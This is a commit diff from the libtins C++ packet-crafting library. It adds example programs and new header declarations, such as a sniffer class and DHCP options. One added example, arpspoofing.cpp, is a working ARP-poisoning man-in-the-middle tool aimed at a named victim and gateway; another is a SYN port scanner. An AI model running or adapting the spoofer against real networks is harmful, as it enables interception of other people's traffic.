mirror of
https://github.com/mfontanini/libtins
synced 2026-01-23 02:35:57 +01:00
Fixed merge conflics
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
CXX=@CXX@
|
||||
CFLAGS=-c -Wall @CFLAGS@ -DTINS_VERSION=@PACKAGE_VERSION@
|
||||
LDFLAGS=
|
||||
LDFLAGS=-lpcap
|
||||
SOURCES=$(wildcard src/*.cpp)
|
||||
|
||||
OBJECTS=$(SOURCES:.cpp=.o)
|
||||
|
||||
107
examples/arpspoofing.cpp
Normal file
107
examples/arpspoofing.cpp
Normal file
@@ -0,0 +1,107 @@
|
||||
/*
|
||||
* libtins is a net packet wrapper library for crafting and
|
||||
* interpreting sniffed packets.
|
||||
*
|
||||
* Copyright (C) 2011 Nasel
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <stdint.h>
|
||||
#include <cstdlib>
|
||||
#include "arp.h"
|
||||
#include "utils.h"
|
||||
#include "ethernetII.h"
|
||||
|
||||
using namespace std;
|
||||
using namespace Tins;
|
||||
|
||||
|
||||
int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint32_t victim, uint32_t own_ip, uint8_t *own_hw) {
|
||||
PacketSender sender;
|
||||
uint8_t gw_hw[6], victim_hw[6];
|
||||
|
||||
// Resolves gateway's hardware address.
|
||||
if(!Utils::resolve_hwaddr(iface_name, gw, gw_hw, &sender)) {
|
||||
cout << "Could not resolve gateway's ip address.\n";
|
||||
return 5;
|
||||
}
|
||||
|
||||
// Resolves victim's hardware address.
|
||||
if(!Utils::resolve_hwaddr(iface_name, victim, victim_hw, &sender)) {
|
||||
cout << "Could not resolve victim's ip address.\n";
|
||||
return 6;
|
||||
}
|
||||
cout << " Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n";
|
||||
cout << " Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n";
|
||||
cout << " Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n";
|
||||
|
||||
/* We tell the gateway that the victim is at out hw address,
|
||||
* and tell the victim that the gateway is at out hw address */
|
||||
ARP *gw_arp = new ARP(gw, victim, gw_hw, own_hw),
|
||||
*victim_arp = new ARP(victim, gw, victim_hw, own_hw);
|
||||
// We are "replying" ARP requests
|
||||
gw_arp->opcode(ARP::REPLY);
|
||||
victim_arp->opcode(ARP::REPLY);
|
||||
|
||||
/* The packet we'll send to the gateway and victim.
|
||||
* We include ut hw address as the source address
|
||||
* in ethernet layer, to avoid possible packet dropping
|
||||
* performed by any routers. */
|
||||
EthernetII to_gw(iface, gw_hw, own_hw, gw_arp);
|
||||
EthernetII to_victim(iface, victim_hw, own_hw, victim_arp);
|
||||
while(true) {
|
||||
// Just send them once every 5 seconds.
|
||||
if(!sender.send(&to_gw) || !sender.send(&to_victim))
|
||||
return 7;
|
||||
sleep(5);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if(argc < 3 && cout << "Usage: " << *argv << " <Gateway> <Victim> [Interface=eth0]\n")
|
||||
return 1;
|
||||
uint32_t gw, victim, own_ip;
|
||||
uint8_t own_hw[6];
|
||||
// By default, eth0 is used.
|
||||
string iface("eth0");
|
||||
try {
|
||||
// Convert dotted-notation ip addresses to integer.
|
||||
gw = Utils::ip_to_int(argv[1]);
|
||||
victim = Utils::ip_to_int(argv[2]);
|
||||
}
|
||||
catch(...) {
|
||||
cout << "Invalid ip found...\n";
|
||||
return 2;
|
||||
}
|
||||
if(argc == 4)
|
||||
iface = argv[3];
|
||||
|
||||
uint32_t iface_index;
|
||||
// Lookup the interface id. This will be required while forging packets.
|
||||
if(!Utils::interface_id(iface, iface_index) && cout << "Interface " << iface << " does not exist!\n")
|
||||
return 3;
|
||||
// Find the interface hardware and ip address.
|
||||
if(!Utils::interface_hwaddr(iface, own_hw) || !Utils::interface_ip(iface, own_ip)) {
|
||||
cout << "Error fetching addresses from " << iface << "\n";
|
||||
return 4;
|
||||
}
|
||||
// Poison ARP tables :D
|
||||
return do_arp_spoofing(iface_index, iface, gw, victim, own_ip, own_hw);
|
||||
}
|
||||
|
||||
116
examples/portscan.cpp
Normal file
116
examples/portscan.cpp
Normal file
@@ -0,0 +1,116 @@
|
||||
/*
|
||||
* libtins is a net packet wrapper library for crafting and
|
||||
* interpreting sniffed packets.
|
||||
*
|
||||
* Copyright (C) 2011 Nasel
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <cstdlib>
|
||||
#include <pthread.h>
|
||||
#include "ip.h"
|
||||
#include "tcp.h"
|
||||
#include "ethernetII.h"
|
||||
#include "sniffer.h"
|
||||
#include "utils.h"
|
||||
#include "packetsender.h"
|
||||
|
||||
|
||||
using namespace std;
|
||||
using namespace Tins;
|
||||
|
||||
struct ThreadData {
|
||||
string interface;
|
||||
string ip;
|
||||
};
|
||||
|
||||
struct ScanHandler {
|
||||
bool operator() (PDU *pdu) {
|
||||
EthernetII *eth = dynamic_cast<EthernetII*>(pdu);
|
||||
if(eth) {
|
||||
IP *ip = dynamic_cast<IP*>(pdu->inner_pdu());
|
||||
if(ip) {
|
||||
TCP *tcp = dynamic_cast<TCP*>(ip->inner_pdu());
|
||||
if(tcp) {
|
||||
if(tcp->get_flag(TCP::RST))
|
||||
cout << "Port: " << tcp->sport() << " closed\n";
|
||||
else if(tcp->get_flag(TCP::SYN))
|
||||
cout << "Port: " << tcp->sport() << " open\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
Sniffer *sniffer;
|
||||
|
||||
void send_syns(const string &iface, uint32_t dest_ip, int argc, char *argv[]) {
|
||||
uint32_t own_ip;
|
||||
if(!Utils::interface_ip(iface, own_ip) && cout << "Error obtaining interface ip.\n")
|
||||
return;
|
||||
PacketSender sender;
|
||||
TCP *tcp = new TCP();
|
||||
IP ip(dest_ip, own_ip, tcp);
|
||||
tcp->set_flag(TCP::SYN, 1);
|
||||
while(argc--) {
|
||||
uint32_t port = atoi(*(argv++));
|
||||
tcp->dport(port);
|
||||
sender.send(&ip);
|
||||
}
|
||||
}
|
||||
|
||||
void *thread_proc(void *param) {
|
||||
ThreadData *data = (ThreadData*)param;
|
||||
ScanHandler handler;
|
||||
AbstractSnifferHandler *my_handler = new SnifferHandler<ScanHandler>(&handler);
|
||||
sniffer->sniff_loop("tcp and ip src " + data->ip, my_handler);
|
||||
cout << "Listo\n";
|
||||
delete my_handler;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if(argc < 3 && cout << "Usage: " << *argv << " <IPADDR> <port1> [port2] [port3]\n")
|
||||
return 1;
|
||||
uint32_t ip;
|
||||
try {
|
||||
ip = Utils::resolve_ip(argv[1]);
|
||||
}
|
||||
catch(...) {
|
||||
cout << "IP address is not valid.\n";
|
||||
return 2;
|
||||
}
|
||||
string iface = Utils::interface_from_ip(ip);
|
||||
if(!iface.size() && cout << "Could not locate gateway interface for given ip address\n")
|
||||
return 3;
|
||||
sniffer = new Sniffer(iface, 300);
|
||||
ThreadData data;
|
||||
data.interface = iface;
|
||||
data.ip = argv[1];
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, 0, thread_proc, &data);
|
||||
|
||||
send_syns(iface, ip, argc - 2, argv + 2);
|
||||
|
||||
sleep(5);
|
||||
|
||||
pthread_cancel(thread);
|
||||
delete sniffer;
|
||||
}
|
||||
@@ -50,7 +50,15 @@ namespace Tins {
|
||||
* ARP requests and replies can be constructed easily using
|
||||
* ARP::make_arp_request/reply static functions.
|
||||
*/
|
||||
ARP();
|
||||
ARP(uint32_t target_ip = 0, uint32_t sender_ip = 0, const uint8_t *target_hw = 0, const uint8_t *sender_hw = 0);
|
||||
|
||||
/**
|
||||
* \brief Constructor which creates an TCP object from a buffer and adds all identifiable
|
||||
* PDUs found in the buffer as children of this one.
|
||||
* \param buffer The buffer from which this PDU will be constructed.
|
||||
* \param total_sz The total size of the buffer.
|
||||
*/
|
||||
ARP(const uint8_t *buffer, uint32_t total_sz);
|
||||
|
||||
/* Getters */
|
||||
/**
|
||||
@@ -305,7 +313,7 @@ namespace Tins {
|
||||
* \return The cloned PDU.
|
||||
* \sa PDU::clone_packet
|
||||
*/
|
||||
PDU *clone_packet(uint8_t *ptr, uint32_t total_sz);
|
||||
PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz);
|
||||
|
||||
private:
|
||||
struct arphdr {
|
||||
@@ -325,7 +333,7 @@ namespace Tins {
|
||||
*
|
||||
* \param arp_ptr The pointer to the arphdr.
|
||||
*/
|
||||
ARP(arphdr *arp_ptr);
|
||||
ARP(const arphdr *arp_ptr);
|
||||
|
||||
void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent);
|
||||
|
||||
|
||||
@@ -24,6 +24,7 @@
|
||||
|
||||
|
||||
#include <list>
|
||||
#include <string>
|
||||
#include "bootp.h"
|
||||
|
||||
|
||||
@@ -130,10 +131,29 @@ namespace Tins {
|
||||
* \brief DHCP options struct.
|
||||
*/
|
||||
struct DHCPOption {
|
||||
uint8_t option, length;
|
||||
/**
|
||||
* \brief The option number.
|
||||
*/
|
||||
uint8_t option;
|
||||
/**
|
||||
* \brief The value's length in bytes.
|
||||
*/
|
||||
uint8_t length;
|
||||
/**
|
||||
* \brief The option's value.
|
||||
*/
|
||||
uint8_t *value;
|
||||
|
||||
DHCPOption(uint8_t opt, uint8_t len, uint8_t *val);
|
||||
|
||||
/**
|
||||
* \brief Creates an instance of DHCPOption.
|
||||
*
|
||||
* The option's value is copied, therefore the user should
|
||||
* manually free any memory pointed by the "val" parameter.
|
||||
* \param opt The option number.
|
||||
* \param len The length of the option's value in bytes.
|
||||
* \param val The option's value.
|
||||
*/
|
||||
DHCPOption(uint8_t opt, uint8_t len, const uint8_t *val);
|
||||
};
|
||||
|
||||
/**
|
||||
@@ -144,6 +164,13 @@ namespace Tins {
|
||||
*/
|
||||
DHCP();
|
||||
|
||||
/**
|
||||
* \brief DHCP destructor
|
||||
*
|
||||
* Releases the memory allocated for options.
|
||||
*/
|
||||
~DHCP();
|
||||
|
||||
/**
|
||||
* \brief Adds a new option to this DHCP PDU.
|
||||
*
|
||||
@@ -154,7 +181,7 @@ namespace Tins {
|
||||
* \param val The value of this option.
|
||||
* \return True if the option was added successfully.
|
||||
*/
|
||||
bool add_option(Options opt, uint8_t len, uint8_t *val);
|
||||
bool add_option(Options opt, uint8_t len, const uint8_t *val);
|
||||
|
||||
/**
|
||||
* \brief Adds a type option the the option list.
|
||||
@@ -177,6 +204,41 @@ namespace Tins {
|
||||
*/
|
||||
bool add_lease_time(uint32_t time);
|
||||
|
||||
/**
|
||||
* \brief Adds a subnet mask option.
|
||||
* \param mask The subnet mask.
|
||||
* \return True if the option was added successfully. \sa DHCP::add_option
|
||||
*/
|
||||
bool add_subnet_mask(uint32_t mask);
|
||||
|
||||
/**
|
||||
* \brief Adds a routers option.
|
||||
* \param routers A list of ip addresses in integer notation.
|
||||
* \return True if the option was added successfully. \sa DHCP::add_option
|
||||
*/
|
||||
bool add_routers_option(const std::list<uint32_t> &routers);
|
||||
|
||||
/**
|
||||
* \brief Adds a domain name servers option.
|
||||
* \param dns A list of ip addresses in integer notation.
|
||||
* \return True if the option was added successfully. \sa DHCP::add_option
|
||||
*/
|
||||
bool add_dns_options(const std::list<uint32_t> &dns);
|
||||
|
||||
/**
|
||||
* \brief Adds a broadcast address option.
|
||||
* \param addr The broadcast address.
|
||||
* \return True if the option was added successfully. \sa DHCP::add_option
|
||||
*/
|
||||
bool add_broadcast_option(uint32_t addr);
|
||||
|
||||
/**
|
||||
* \brief Adds a domain name option.
|
||||
* \param name The domain name.
|
||||
* \return True if the option was added successfully. \sa DHCP::add_option
|
||||
*/
|
||||
bool add_domain_name(const std::string &name);
|
||||
|
||||
/** \brief Getter for the options list.
|
||||
* \return The option list.
|
||||
*/
|
||||
@@ -199,6 +261,8 @@ namespace Tins {
|
||||
|
||||
void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent);
|
||||
|
||||
uint8_t *serialize_list(const std::list<uint32_t> &int_list, uint32_t &sz);
|
||||
|
||||
std::list<DHCPOption> _options;
|
||||
uint32_t _size;
|
||||
};
|
||||
|
||||
@@ -66,6 +66,14 @@ namespace Tins {
|
||||
*/
|
||||
EthernetII(uint32_t iface_index, const uint8_t* dst_hw_addr = 0, const uint8_t* src_hw_addr = 0, PDU* child = 0);
|
||||
|
||||
/**
|
||||
* \brief Constructor which creates an EthernetII object from a buffer and adds all identifiable
|
||||
* PDUs found in the buffer as children of this one.
|
||||
* \param buffer The buffer from which this PDU will be constructed.
|
||||
* \param total_sz The total size of the buffer.
|
||||
*/
|
||||
EthernetII(const uint8_t *buffer, uint32_t total_sz);
|
||||
|
||||
/* Getters */
|
||||
/**
|
||||
* \brief Getter for the destination's mac address.
|
||||
@@ -88,7 +96,14 @@ namespace Tins {
|
||||
*/
|
||||
inline uint32_t iface() const { return this->_iface_index; }
|
||||
|
||||
/**
|
||||
* \brief Getter for the payload_type
|
||||
* \return The payload type.
|
||||
*/
|
||||
uint16_t payload_type() const;
|
||||
|
||||
/* Setters */
|
||||
|
||||
/**
|
||||
* \brief Setter for the destination's MAC.
|
||||
*
|
||||
@@ -177,11 +192,11 @@ namespace Tins {
|
||||
*/
|
||||
EthernetII(ethhdr *eth_ptr);
|
||||
|
||||
void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent);
|
||||
|
||||
|
||||
ethhdr _eth;
|
||||
uint32_t _iface_index;
|
||||
|
||||
void write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent);
|
||||
|
||||
};
|
||||
|
||||
};
|
||||
|
||||
@@ -57,6 +57,14 @@ namespace Tins {
|
||||
*/
|
||||
ICMP(Flags flag = ECHO_REQUEST);
|
||||
|
||||
/**
|
||||
* \brief Constructor which creates an ICMP object from a buffer and adds all identifiable
|
||||
* PDUs found in the buffer as children of this one.
|
||||
* \param buffer The buffer from which this PDU will be constructed.
|
||||
* \param total_sz The total size of the buffer.
|
||||
*/
|
||||
ICMP(const uint8_t *buffer, uint32_t total_sz);
|
||||
|
||||
/**
|
||||
* \brief Sets the code field.
|
||||
*
|
||||
@@ -273,7 +281,7 @@ namespace Tins {
|
||||
* \return The cloned PDU.
|
||||
* \sa PDU::clone_packet
|
||||
*/
|
||||
PDU *clone_packet(uint8_t *ptr, uint32_t total_sz);
|
||||
PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz);
|
||||
private:
|
||||
static uint16_t global_id, global_seq;
|
||||
|
||||
@@ -298,7 +306,7 @@ namespace Tins {
|
||||
*
|
||||
* \param ptr The icmphdr to clone.
|
||||
*/
|
||||
ICMP(icmphdr *ptr);
|
||||
ICMP(const icmphdr *ptr);
|
||||
|
||||
/** \brief Serialices this ICMP PDU.
|
||||
* \param buffer The buffer in which the PDU will be serialized.
|
||||
|
||||
10
include/ip.h
10
include/ip.h
@@ -100,6 +100,14 @@ namespace Tins {
|
||||
*/
|
||||
IP(uint32_t ip_dst = 0, uint32_t ip_src = 0, PDU *child = 0);
|
||||
|
||||
/**
|
||||
* \brief Constructor which creates an IP object from a buffer and adds all identifiable
|
||||
* PDUs found in the buffer as children of this one.
|
||||
* \param buffer The buffer from which this PDU will be constructed.
|
||||
* \param total_sz The total size of the buffer.
|
||||
*/
|
||||
IP(const uint8_t *buffer, uint32_t total_sz);
|
||||
|
||||
/**
|
||||
* \brief Destructor for IP objects.
|
||||
*
|
||||
@@ -340,7 +348,7 @@ namespace Tins {
|
||||
* \return The cloned PDU.
|
||||
* \sa PDU::clone_packet
|
||||
*/
|
||||
PDU *clone_packet(uint8_t *ptr, uint32_t total_sz);
|
||||
PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz);
|
||||
private:
|
||||
static const uint8_t DEFAULT_TTL;
|
||||
|
||||
|
||||
@@ -164,7 +164,7 @@ namespace Tins {
|
||||
* \param total_sz The size of the buffer.
|
||||
* \return The cloned PDU.
|
||||
*/
|
||||
virtual PDU *clone_packet(uint8_t *ptr, uint32_t total_sz) { return 0; }
|
||||
virtual PDU *clone_packet(const uint8_t *ptr, uint32_t total_sz) { return 0; }
|
||||
protected:
|
||||
/** \brief Serializes this PDU and propagates this action to child PDUs.
|
||||
*
|
||||
@@ -181,7 +181,7 @@ namespace Tins {
|
||||
* \param total_sz The total size of the buffer.
|
||||
* \return Returns the cloned PDU. Will be 0 if cloning failed.
|
||||
*/
|
||||
PDU *clone_inner_pdu(uint8_t *ptr, uint32_t total_sz);
|
||||
PDU *clone_inner_pdu(const uint8_t *ptr, uint32_t total_sz);
|
||||
|
||||
/** \brief Serializes this TCP PDU.
|
||||
*
|
||||
|
||||
@@ -37,14 +37,21 @@ namespace Tins {
|
||||
public:
|
||||
/** \brief Creates an instance of RawPDU.
|
||||
*
|
||||
* The payload is not copied by default, therefore it must be
|
||||
* manually freed by the user. If the payload was to be copied,
|
||||
* then the copy flag must be set to true.
|
||||
* The payload is copied, therefore the original payload's memory
|
||||
* must be freed by the user.
|
||||
* \param pload The payload which the RawPDU will contain.
|
||||
* \param size The size of the payload.
|
||||
* \param copy Flag indicating wether to copy the payload.
|
||||
*/
|
||||
RawPDU(uint8_t *pload, uint32_t size, bool copy = false);
|
||||
RawPDU(const uint8_t *pload, uint32_t size);
|
||||
|
||||
/** \brief Creates an instance of RawPDU.
|
||||
*
|
||||
* The payload is not copied in this constructor, therefore
|
||||
* it must be manually freed by the user.
|
||||
* \param pload The payload which the RawPDU will contain.
|
||||
* \param size The size of the payload.
|
||||
*/
|
||||
RawPDU(uint8_t *pload, uint32_t size);
|
||||
|
||||
/** \brief RawPDU destructor.
|
||||
*
|
||||
|
||||
138
include/sniffer.h
Normal file
138
include/sniffer.h
Normal file
@@ -0,0 +1,138 @@
|
||||
/*
|
||||
* libtins is a net packet wrapper library for crafting and
|
||||
* interpreting sniffed packets.
|
||||
*
|
||||
* Copyright (C) 2011 Nasel
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
|
||||
#ifndef __SNIFFER_H
|
||||
#define __SNIFFER_H
|
||||
|
||||
|
||||
#include <pcap.h>
|
||||
#include <string>
|
||||
#include "pdu.h"
|
||||
|
||||
namespace Tins {
|
||||
|
||||
/**
|
||||
* \brief Abstract sniffed packet handler.
|
||||
*
|
||||
* Base class to handle sniffed packets when using Sniffer::sniff_loop.
|
||||
* Users should either inherit this class, or use the template class
|
||||
* SnifferHandler to provide their own handlers.
|
||||
*/
|
||||
class AbstractSnifferHandler {
|
||||
public:
|
||||
/**
|
||||
* \brief AbstractSnifferHandler destructor.
|
||||
*/
|
||||
virtual ~AbstractSnifferHandler() { }
|
||||
/**
|
||||
* \brief Handle a captured PDU.
|
||||
* \return Should return false if no more sniffing is required.
|
||||
*/
|
||||
virtual bool handle(PDU *pdu) = 0;
|
||||
};
|
||||
|
||||
/**
|
||||
* \brief Sniffer class can be used to sniff packets using filters.
|
||||
*/
|
||||
class Sniffer {
|
||||
public:
|
||||
/**
|
||||
* \brief Creates an instance of sniffer.
|
||||
* \param device The device which will be sniffed.
|
||||
* \param max_packet_size The maximum packet size to be read.
|
||||
*/
|
||||
Sniffer(const std::string &device, unsigned max_packet_size);
|
||||
|
||||
/**
|
||||
* \brief Sniffer destructor.
|
||||
* This frees all memory used by the pcap handle.
|
||||
*/
|
||||
~Sniffer();
|
||||
|
||||
/**
|
||||
* \brief Compiles a filter and uses it to capture one packet.
|
||||
*
|
||||
* This method should be used only when expecting few packets.
|
||||
* It's innefficient since it recompiles the filter every time it
|
||||
* is called. To reuse a filter and sniff more efficiently, use
|
||||
* Sniffer::sniff_loop.
|
||||
* \param filter The filter which will be used while sniffing.
|
||||
* \return The captured packet, matching the given filter, 0 if an
|
||||
* error occured(probably compiling the filter).
|
||||
*/
|
||||
PDU *next_pdu(const std::string &filter);
|
||||
|
||||
/**
|
||||
* \brief Starts a sniffing loop, using a callback object for every
|
||||
* sniffed packet.
|
||||
*
|
||||
* Handlers could be user-provided classes which inherit AbstractSnifferHandler,
|
||||
* or it could be a specific SnifferHandler specialization. This method deletes
|
||||
* packets after they are handled, therefore the handlers MUST NOT delete them.
|
||||
* \param filter The filter to use when sniffing.
|
||||
* \param cback_handler The callback handler object which should process packets.
|
||||
* \param max_packets The maximum amount of packets to sniff. 0 == infinite.
|
||||
*/
|
||||
void sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets = 0);
|
||||
|
||||
/**
|
||||
* \brief Stops sniffing loops.
|
||||
*/
|
||||
void stop_sniff();
|
||||
private:
|
||||
bool compile_set_filter(const std::string &filter, bpf_program &prog);
|
||||
|
||||
static void callback_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
|
||||
|
||||
pcap_t *handle;
|
||||
bpf_u_int32 ip, mask;
|
||||
};
|
||||
|
||||
/**
|
||||
* \brief Concrete implementation of AbstractSnifferHandler.
|
||||
*
|
||||
* This class is instantiated using a pointer to the actual handler.
|
||||
* Every time a packet is sniffed, operator() (PDU*) will be called on
|
||||
* the given pointer. \sa AbstractSnifferHandler
|
||||
*/
|
||||
template<class T> class SnifferHandler : public AbstractSnifferHandler {
|
||||
public:
|
||||
/**
|
||||
* Creates an instance of SnifferHandler.
|
||||
* \param ptr The pointer to the actual handler.
|
||||
*/
|
||||
SnifferHandler(T *ptr) : handler(ptr) { }
|
||||
|
||||
/**
|
||||
* \brief The overriden AbstractSnifferHandler::handle.
|
||||
* \param pdu The sniffed PDU.
|
||||
* \return False if no more sniffing is required, otherwise true.
|
||||
*/
|
||||
bool handle(PDU *pdu) {
|
||||
return (*handler)(pdu);
|
||||
}
|
||||
private:
|
||||
T *handler;
|
||||
};
|
||||
};
|
||||
|
||||
#endif
|
||||
@@ -78,15 +78,21 @@ namespace Tins {
|
||||
* \param dport Destination port.
|
||||
* \param sport Source port.
|
||||
* */
|
||||
|
||||
TCP(uint16_t dport = 0, uint16_t sport = 0);
|
||||
|
||||
/**
|
||||
* \brief Constructor which creates an TCP object from a buffer and adds all identifiable
|
||||
* PDUs found in the buffer as children of this one.
|
||||
* \param buffer The buffer from which this PDU will be constructed.
|
||||
* \param total_sz The total size of the buffer.
|
||||
*/
|
||||
TCP(const uint8_t *buffer, uint32_t total_sz);
|
||||
|
||||
/**
|
||||
* \brief TCP destructor.
|
||||
*
|
||||
* Destructs the TCP instance. Does not free the payload.
|
||||
* */
|
||||
|
||||
~TCP();
|
||||
|
||||
/**
|
||||
@@ -145,6 +151,16 @@ namespace Tins {
|
||||
*/
|
||||
inline uint8_t data_offset() const { return this->_tcp.doff; }
|
||||
|
||||
/**
|
||||
* \brief Gets the value of a flag.
|
||||
*
|
||||
* \param tcp_flag The polled flag.
|
||||
* \return The value of the flag.
|
||||
*/
|
||||
uint8_t get_flag(Flags tcp_flag);
|
||||
|
||||
/* Setters */
|
||||
|
||||
/**
|
||||
* \brief Setter for the destination port field.
|
||||
*
|
||||
|
||||
@@ -34,15 +34,24 @@ namespace Tins {
|
||||
*/
|
||||
class UDP : public PDU {
|
||||
public:
|
||||
/** \brief UDP constructor.
|
||||
/**
|
||||
* \brief UDP constructor.
|
||||
*
|
||||
* Creates an instance of UDP. Destination and source port can
|
||||
* be provided, otherwise both will be 0.
|
||||
* \param dport Destination port.
|
||||
* \param sport Source port.
|
||||
* \param child The child PDU(optional).
|
||||
* */
|
||||
UDP(uint16_t dport = 0, uint16_t sport = 0, PDU *child = 0);
|
||||
|
||||
/**
|
||||
* \brief Constructor which creates an UDP object from a buffer and adds all identifiable
|
||||
* PDUs found in the buffer as children of this one.
|
||||
* \param buffer The buffer from which this PDU will be constructed.
|
||||
* \param total_sz The total size of the buffer.
|
||||
*/
|
||||
UDP(const uint8_t *buffer, uint32_t total_sz);
|
||||
|
||||
/** \brief Returns the destination port
|
||||
*/
|
||||
|
||||
@@ -97,7 +97,8 @@ namespace Tins {
|
||||
*/
|
||||
std::set<std::string> network_interfaces();
|
||||
|
||||
/** \brief Lookup the ip address of the given interface.
|
||||
/**
|
||||
* \brief Lookup the ip address of the given interface.
|
||||
*
|
||||
* If the lookup fails, false will be returned, true otherwise.
|
||||
* \param iface The interface from which to extract the ip address.
|
||||
@@ -105,7 +106,8 @@ namespace Tins {
|
||||
*/
|
||||
bool interface_ip(const std::string &iface, uint32_t &ip);
|
||||
|
||||
/** \brief Lookup the hardware address of the given interface.
|
||||
/**
|
||||
* \brief Lookup the hardware address of the given interface.
|
||||
*
|
||||
* If the lookup fails, false will be returned, true otherwise.
|
||||
* \param iface The interface from which to extract the hardware address.
|
||||
@@ -114,15 +116,27 @@ namespace Tins {
|
||||
*/
|
||||
bool interface_hwaddr(const std::string &iface, uint8_t *buffer);
|
||||
|
||||
/** \brief Lookup the interface identifier.
|
||||
/**
|
||||
* \brief Lookup the interface identifier.
|
||||
*
|
||||
* If the lookup fails, false will be returned, true otherwise.
|
||||
* \param iface The interface from which to extract the identifier.
|
||||
* \param flag The interface id will be returned in this parameter.
|
||||
* \param id The interface id will be returned in this parameter.
|
||||
*/
|
||||
bool interface_id(const std::string &iface, uint32_t &id);
|
||||
|
||||
/** \brief Convert 32 bit integer into network byte order.
|
||||
/**
|
||||
* \brief Finds the gateway interface matching the given ip.
|
||||
*
|
||||
* This function find the interface which would be the gateway
|
||||
* when sending a packet to the given ip.
|
||||
* \param ip The ip of the interface we are looking for.
|
||||
* \return The interface's name.
|
||||
*/
|
||||
std::string interface_from_ip(uint32_t ip);
|
||||
|
||||
/**
|
||||
* \brief Convert 32 bit integer into network byte order.
|
||||
*
|
||||
* \param data The data to convert.
|
||||
*/
|
||||
|
||||
146
src/arp.cpp
146
src/arp.cpp
@@ -31,73 +31,31 @@
|
||||
|
||||
using namespace std;
|
||||
|
||||
Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface,
|
||||
const std::string& target,
|
||||
const std::string& sender,
|
||||
const uint8_t* hw_snd) {
|
||||
uint32_t target_ip = Tins::Utils::resolve_ip(target);
|
||||
uint32_t sender_ip = Tins::Utils::resolve_ip(sender);
|
||||
return make_arp_request(iface, target_ip, sender_ip, hw_snd);
|
||||
|
||||
Tins::ARP::ARP(uint32_t target_ip, uint32_t sender_ip, const uint8_t *target_hw, const uint8_t *sender_hw) : PDU(0x0608) {
|
||||
memset(&_arp, 0, sizeof(arphdr));
|
||||
hw_addr_format(1);
|
||||
prot_addr_format(0x0800);
|
||||
hw_addr_length(6);
|
||||
prot_addr_length(4);
|
||||
sender_ip_addr(sender_ip);
|
||||
target_ip_addr(target_ip);
|
||||
if(sender_hw)
|
||||
sender_hw_addr(sender_hw);
|
||||
if(target_hw)
|
||||
target_hw_addr(target_hw);
|
||||
}
|
||||
|
||||
Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface,
|
||||
uint32_t target,
|
||||
uint32_t sender,
|
||||
const uint8_t* hw_snd) {
|
||||
|
||||
/* Create ARP packet and set its attributes */
|
||||
ARP* arp = new ARP();
|
||||
arp->target_ip_addr(target);
|
||||
arp->sender_ip_addr(sender);
|
||||
if (hw_snd) {
|
||||
arp->sender_hw_addr(hw_snd);
|
||||
}
|
||||
arp->opcode(REQUEST);
|
||||
|
||||
/* Create the EthernetII PDU with the ARP PDU as its inner PDU */
|
||||
EthernetII* eth = new EthernetII(iface, Tins::EthernetII::BROADCAST, hw_snd, arp);
|
||||
return eth;
|
||||
Tins::ARP::ARP(const uint8_t *buffer, uint32_t total_sz) : PDU(0x0608) {
|
||||
if(total_sz < sizeof(arphdr))
|
||||
throw std::runtime_error("Not enought size for an ARP header in the buffer.");
|
||||
